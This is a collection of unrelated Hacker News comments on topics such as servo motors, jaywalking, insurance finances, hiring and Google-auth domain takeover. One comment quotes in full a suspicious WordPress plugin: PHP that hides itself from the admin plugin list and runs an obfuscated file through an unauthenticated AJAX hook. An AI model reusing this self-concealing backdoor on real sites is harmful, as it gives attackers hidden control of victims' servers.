skysight-inc/HackerNews huggingface dataset:
Eh, as a controls engineer, I get a bit of Gell-Mann amnesia watching his content on drives and motors. There's a complete lack of tuning described in the video, it seems a lot of his performance complaints are due to conservative out-of-the box defaults.

The stuff he builds very cheaply with little more than some wood, Python, and Raspberry Pis is impressive, and he deserves all the kudos for building cool shit and putting it on the Internet (I'm just a consumer and critic, not a creator in comparison). But serial control from an interpreted script instead of CAN/Ethercat messaging from a motion controller or PLC is not the way these products are typically used in industry, and most people don't run the defaults.

There's definitely a niche for hobbyist-grade, student-grade, or lab-grade motion products that name brands like Beckhoff, Omron, Fanuc, Rockwell, and Siemens largely ignore. You could get 4 axes from DMM for the price of 1 from most of those vendors. And while simple serial commands can make interesting things happen with the DMM unit, you'd have to scale a daunting cliff of a learning curve just to get a motion axis initialized in their massive, standardized, proprietary, legacy ecosystems.

Again, no disrespect intended: I've invested thousands of hours into building custom, multi-million-dollar machine tools at my day job and instead of challenging myself, going to the workshop and turning on a camera when I get home, I've vegetated on the couch, entertained, and sometimes educated by his content building a milling machine or lathe out of wood. But this "servos vs. steppers" debate really only applies to low-cost, simple, hobbyist-grade equipment, and isn't such a big topic in the industrial space.
Automating cherry-picks between OSS and private forks
Jaywalking is very common in the Northeastern US, and I believe it is generally safer when done well. I have a rule that if you don't feel like you can calmly saunter across the street, you shouldn't jaywalk by running across, but many people do not follow such a rule, and just take the soonest opportunity they can find to run across the street.

Be careful, though - I once jaywalked when I was with some friends from the Midwest and they were very offended.
See these are interesting questions. I don't have great answers.

IQ gap between the sides?
You can use ublacklist without a list and just block shit sites as you see them.

I'm loving being able to search for something without getting results from garbage sites like howtogeek, stackoverflow, MSN, Pinterest, etc.
when my side wins it's good and true and when the other side wins it's the outrage machine
a lot of modern automatic driving stuff has cameras to track your eyes, and I think for built in dashcam stuff maybe?

and if it's in the car it's Internet connected now.
WordPress plugin appeared on its own: WP Integumentary Mandated
A plugin called WP Integumentary Mandated randomly appeared in my list of plugins, not sure how long ago. It wasn't (and still isn't) activated. Both the 'author' and 'plugin site' links point to wordpress.org/#. Below I'm pasting all that it is. Wtf?

<?php
/*
Plugin Name: WP Integumentary Mandated
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 8.0.6
Author URI: http://wordpress.org/#
/

function zsg_ucc()
{
global $wp_list_table;

if (!isset($wp_list_table)) {
return;
}

$h = array('wp-integumentary-mandated/wp-integumentary-mandated.php');

if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
foreach ($wp_list_table->items as $key => $val) {
if (in_array($key, $h)) {
unset($wp_list_table->items[$key]);
}
}
}

}

add_action('pre_current_active_plugins', 'zsg_ucc');

function kuy_qow($plugins)
{
$p = 'wp-integumentary-mandated/wp-integumentary-mandated.php';
if (array_key_exists($p, $plugins)) {
unset($plugins[$p]);
}
return $plugins;
}

add_filter('all_plugins', 'kuy_qow');

function gmv($f, $d) {
$r = '';
for ($i = 0; $i < strlen($f); $i += 2) {
$v = ord($f[$i]) - 65;
$b = ord($f[$i + 1]);
if ($b > 90) $b -= 6;
$s = $v 52 + ($b - 65);
$r .= chr($s - $d);
}
return $r;
}

function pun_ajax_handler() {
include plugin_dir_path(__FILE__) . gmv('IHJNJZJGJIJIJKJY', 377);
wp_die();
}

add_action('wp_ajax_wp-rhs', 'pun_ajax_handler');
add_action('wp_ajax_nopriv_wp-rhs', 'pun_ajax_handler');
Saying walking is banned is ridiculous. However, if one needs to go from A to B in the USA, road funding will always come first. Whatever comes second should be up to the local voters, and each mode of transport should have separate lanes and be funded separately, as the laws of physics always trump any laws of man.
California just made jaywalking legal in 2023 too.
> I think one of the most toxic things in this industry is that we think we need to continuously be doing coding outside of work instead of living life.

Why is that toxic and what other industries are you comparing that to?
I don't understand what you're saying. Kids don't watch the channel because it has a high number of views. And what "massive deception" are you referring to?
only the US lionizes "free speech" and the first amendment; Europe doesn't immediately roll over when someone invokes the bill of rights.

doubly so when their main defense of "free speech" is defending neo-nazi's in the pocket of putin
It absolutely should be regulated. Especially since there's so many ways companies exploit this for a variety of factors. I can't think of one benefit to applicants. Wastes their time, the increasingly AI-submitted rejections are useless noise instead of feedback on how to improve, and the rise of "video interviews" just give more data than necessary to a company without ever needing to send a human to talk to them.

The application market needs an entire overhaul.
Thanks for taking the time to explain this.

The “what’s taught in schools isn’t CRT” argument reminds me of the “motte and bailey” argument tactics.
To play devil's advocate, I honestly don't think it's hard to determine that from the data.
Can anyone from FB explain the user hostile UI? Reading comments or posts is an exercise in futility. Resizing or moving a page will result in a refresh where you lose your place or can no longer find what you were reading. Is this an accidental side affect of design or do you guys sit in a conference room conjuring up ways to make user experience miserable?
^ Brought to you by an LLM invented in the US, running on hardware designed in the US
It is interesting to observe the wedge issues in the US - from gay rights and abortion in 2000's to abortion and BLM in 2010's to trans issues in 2020's. These affect a tiny minority but inflame passions in a big way. At the same time, the one big issue affecting 99% people barely gets any attention - rich get richer while everyone else is leading anxious precarious lives which could be disturbed all of a sudden.

Occupy Wall Street was striking that nerve of raw populism. Success of both Trump and Sanders campaigns in 2016, coupled with the complete takeover of GOP by populists (Trump/Vance), means that the moment is ripe for someone to tap into all this populist anger. I hope that person is an FDR and not another Hitler or Lenin.
It sounds like you’re referring to drought measures. We’re no longer in drought, so many drought measures have been lifted.
Related maybe, I got a new phone number and I was able to use it to sign into the previous owner's account at a site that uses 2FA. I noticed it when I tried to setup a new account for myself. The website wouldn't allow it but it happily allowed to me access the previous owner's account. It was inconsistent, removing the phone from their account required their password but changing many other important fields didn't.
That's not my belief, which is why I didn't post the terrible evidence of election results. You did.

I posted a court settlement for the crime of knowingly producing untrue, defamatory outrage at massive scale.

Note how mine is evidence for my argument. Yours is evidence for nothing at all.
Curious, what do you earn?
Isn't this quite paradoxical that those kind of companies have hard interviews where you have to almost prove that P=NP in front of 5 people that judges everything you do, yet they fire engineer because "ratio"?

Could this lead to a manager that tries to have the best team for himself will always include average employees that they can easily fire?
This is how most modern supply chains look like.

Plus, chips are small in size and cost a lot so you can fit a lot in a container. Per unit shipping costs probably come out to be pretty low. Especially when compared to the political costs and risks associated with not onshoring.
But... they don't have money to invest without the insurance premiums coming in. My family finances look a lot worse if you exclude interest and investment proceeds at random from the analysis, too.

$10-20B profit annually is not something I'd describe as "in the hole". The "hole" is overflowing with money.
Thanks! Corrected!
I guess you could argue that driving near deer at all is still more risk of accidents and damage to the car than a driver who never goes out of their suburb?
Until 2027, yes.

https://www.tomshardware.com/pc-components/gpus/tsmc-is-repo...

"TSMC does not have an advanced packaging facility in the U.S., and its partner Amkor will only start packaging chips in Arizona in 2027. As a result, Blackwell AI silicon produced in Arizona will need to be shipped back to Taiwan for final assembly, as all of TSMC's CoWoS packaging capacity remains in Taiwan."
Doesn't mean they aren't fascists, gay fascists are by definition, fascists.

They literally started sending fake "remigration" tickets to anybody with a foreign sounding family name, exactly what the nazis did to jews in the 1930s.

https://www.t-online.de/nachrichten/deutschland/parteien/id_...
In my experience, if you've got significant brush on your property and you don't clear it, the FD asks you to take care of it pronto.
That sounds like a TaskRabbit vulnerability (in your example), not a Google vuln? It is also a vulnerability in any email based sign in, which relies on email alone without a password to demonstrate account ownership. (Including password resets that rely on email).
Gave my notice yesterday, last day of work is Feb 3... 7 days before the layoff.
The insurance companies are betting their margins on this. If they are wrong, they will fail in the marketplace.
The main contributors stop updating it .

Everybody wants to talk about forking, nobody wants to talk about maintaining the fork.
Mummies' Ancient Tattoos Come Under Laser Focus
Related: Freya Holmér - "Generative AI is a Parasitic Cancer" https://www.youtube.com/watch?v=-opBifFfsMY (1h19m54s) [2025-01-02].

She talks at length about how pages of AI-generated nonsense text are cluttering search results on Google and all other search engines.
I think the answers to these is usually no, but there's one (questionable) person in leadership who's like "what if somebody from Google applies?" (or whatever equivalent). Never seen it work. Encountered it a few times. It tends to be magical thinking embellished by narratives around 10x engineers.
Well, think about it this way:

1. I create DankStartup and my company uses Google workspaces and Google auth for a bunch of stuff, like payroll.

2. DankStartup goes under and we close our Google accounts/let our domain lapse.

3. Someone else buys DankStartup.com, sets up a Google workspace, and attempts Google auth to log into stuff, and it works.

The problem is that the original DankStartup has a Google account that they create in #1, and Google goes around telling other sites (via Auth) "this is user X from company Y".

Then, the impostors in step #3 create a different google account with the same domain, and Google says "yeah, these are definitely the same guys as before", even though Google is fully capable of discerning that that is not the case; these are different people with a different workspace account, different names, different payment information, and so on, but Google is saying that if you're holding the domain you are therefore the same people as far as they're concerned and is asserting that to other companies. They are (or were) refusing to provide any indication to those other companies that these are not, in fact, the same people, so those other companies aren't even capable of doing their due diligence of extra validation if they want to.

It's similar to looking at a driver's license and just matching the name rather than the actual ID number; it's possible for someone else to have the same name as you, and identity documents have unique identifiers for specifically that reason.
Can. Won't. If trading has lax enforcement where this can cost people millions, why would a job board getting paid to post fake jobs care?
No. That is an entirely incorrect interpretation of the study.
Perhaps a smidgen earlier, to the gilded age
Making a display to signal one’s willingness to mate and intended to impress a target audience, in this case the incoming administration.

It’ll absolutely work, too. The new President loves to hear how good his ideas are.

He’s been speaking lately (on JRE just a few days back too if I’m not mistaken) about the responsibility of the US government to protect US companies abroad rather than hurting them at home. This was targeted specifically at Trump, and trying to encourage him to get on Meta’s side with regulators.

He also said on JRE that the Biden administration would yell down the phone at his staff for not censoring facts, this is to rile up the GOP in Congress to pressure Trump to be seen doing the opposite and standing up for free speech (as Meta defines it).
These same companies ruthlessly compete on rates in the consumer marketplace
Nice try, Zuck.
> it’s #eee

I’m going by reading the CSS.

> both are slightly above "minimum contrast"

That’s simply not true.
There is local traffic culture in a lot of places. LA residents in particular don't like stopping at stop signs. Boston drivers turn left immediately when the light turns green even if other cars going the opposite direction have right of way. Texas drivers speed like madmen on freeways. New York drivers change lanes with reckless abandon.

Law enforcement officers in all these places never pull people over for this stuff.
Their financial reports have the numbers plain as day: https://www.allstateinvestors.com/static-files/d61a8007-647a...

Page 2 has their premiums collected and their claims paid. They are down 5 billion in 2022 and 2023. Haven't seen the full results for 2024 yet.

For an explanation of why, Warren Buffets letters to investors explain the insurance industry as a whole pretty well (page 7): https://www.berkshirehathaway.com/letters/2013ltr.pdf

Pretty consistently, the industry as a whole loses money on policies.
> I've never met an Israeli who wasn't a dual citizen.

Given that unless you are in Israel you're most likely to be meeting Israeli expats or at the very least people who travel, that's hardly surprising and not great evidence for anything.

> In fact, the Snyk founder lives in London now

So you're acknowledging that you're going to hold their country of origin against them even after they've moved. Got it.
I get your points, but have you tried with less invasive advertising? Like, you know, static pictures downloaded from your domain with a HREF on them?
Well now you're just saying know the future, which is different than knowing an individual drivers probability of an accident.
I'm not talking about hires, but candidates. Not all markets are awash in talent in every stack.
In England, I thought it was only the "crossed out" intersections that you shouldn't enter unless the exit is clear. Rule 174 here: https://www.gov.uk/guidance/the-highway-code/using-the-road-...
Worked for me, for three kids. The essential bit is getting them to not fear the lean, and not steer like they're driving a little car.
Show HN: Sculptor – Python library for LLM structured data extraction (MIT)
I built Sculptor after repeatedly seeing founders try to hire data scientists for a task that ultimately boiled down to extracting structured data from unstructured text (customer records, social posts, websites, etc) using an LLM API. We ended up reinventing this pattern internally at least three times in the past year, so I published Sculptor as a streamlined, open-source solution:

- Simple schema-based extraction, with parallelization and type validation.
- Multi-step pipelines with filtering or transforms between steps.
- Configure everything in YAML/JSON for easy reuse.

It’s MIT licensed and on PyPI — feedback welcome!
We had a choice to pick a government that could do something to regulate the industry and instead we chose grifters, losers, and incompetent fools.
That depends on how many of them burn. A few? Doesn't matter much. All? Goodbye, and thanks for all the carbon.
it's your data, not mine. I just did the math on it.
I don't know why it feels like you're jumping on me here. Is it just CivE attracting people who overly focus on nouns?

What you're calling an "at grade crossing" is indeed a good one I missed. I would call them something like crosswalk on a speed bump, which might be "car centric" or whatever, but at least isn't overloading a term that generally refers to using different levels for actual traffic separation. Everything we're talking about here is actually an at grade crossing.

> I don't think there is any risk of "overshooting" in making cities nicer and safer for pedestrians and all other road users in the US. If anything it will be an uphill battle to accomplish any change.

You really don't see the possibility of backlash to "no turn on red" everywhere creating a campaign of drivers getting frustrated while waiting for timed red lights to change at completely quiet intersections?

And also FWIW, "no turn on red" doesn't actually prevent drivers from driving into the pedestrian crossing area - it just removes the benefit. It would still take a generation or two to change learned behavior.
Honestly, as I've gotten older, I just don't have a lot of respect for companies that are simply chasing growth for the sake of growth and monetization just for the sake of monetization. I don't think people realize when enough is actually enough.

I think one of the worst things a company can do is go public (outside of industries and niches that simply require large players). It just seems to ruin the quality of a company's products, services & culture.

I know we can't all live in Mayberry, and that people don't really pay for quality, but when your sole objective boils down to pleasing Wall St. quarter after quarter, something gets lost in the process.

Being a part of something that you take pride in used to mean something. Craftsmen and inventors weren't necessarily looking for a seven figure exit (or more), or to become billionaires. They wanted to make the lives of their customers better.

I think we all suffer in different ways because of this growth-at-all-costs mentality, from the top all the way down.
Got any links you can share?
You can still enshittify something by degrees this way.

I think the disconnect here is some people thinking A/B testing is something you try once a month, and someplace like Amazon where you do it all the time and with hundreds of employees poking things.
Publishing in the Generative AI Age
This ends Matt’s lordship over Wordpress. Nothing more, in the long run.

Canceling Matt is was WordPress needs.
People just need to eat shit and accept it. Two years ago I returned to Sweden over holiday, and local mall (2nd biggest in the country) had an internet outrage. Apparently some construction worker cut the wrong cable somewhere

You can imagine the chaos. Grocery store line got long and many people couldn't buy the dinner for their day, I saw some people calling their partners asking if they had cash. (grocery store at least accept cash)

If say a east European nation decided to invade here, all they need is to blast internet and chaos(looting) would ensure.
Whoosh. You missed the point completely.

Of course very few people earn $1.5M/year. That's my point -- the poster I was replying to was naively thinking they could just work hard for a tech company and save for 10 years and then live off the passive income of the saved investment, which is silly.

The rest of the numbers were conservative figures I chose. $5mm to retire, 20% saved while working, $150k/year passive income. The whole point is that what he's describing is pretty unrealistic.
> I wonder what action is causing the sub to change like the author suggests is happening.

Indeed this would be very interesting.

This issue is also very similar to CVE-2024-25618.

What we did to mitigate this is the following:
- Federated login with OIDC
- Look for a user based on the sub claim
- If they are found: authenticate that user and optionally update their profile (email, name, ...) based on then new id claims.
- Else look for a user matching on the `email` claim and link the `sub` to that user
- If no user is found create a new one
I use Cursor as well, totally understand what you mean about glimpses of the future. The composer and tab complete are good at writing isolated units of functionality - ie pure functions, especially when they are trivial and have been written before. I appreciate that it saves me a google search or time spent on rote work.

I do wonder how much more sophisticated LLMs would have to be to really excel at multi-file or crosscutting whole-codebase editing. I have no way of really quantifying this but I suspect its a lot more than people think, and even then might require a substantially different approach to making software. Kind of reminds me of the people trying to make full length movies with video AI - cool trick but who wants to sit through 1.5 hrs of that? The gulf between those videos and an actual feature length film is _massive_, much like the difference between a prod codebase and a todo crud app. And it's not just about the level of detail, it's about coherence between small but important things and the overall structure.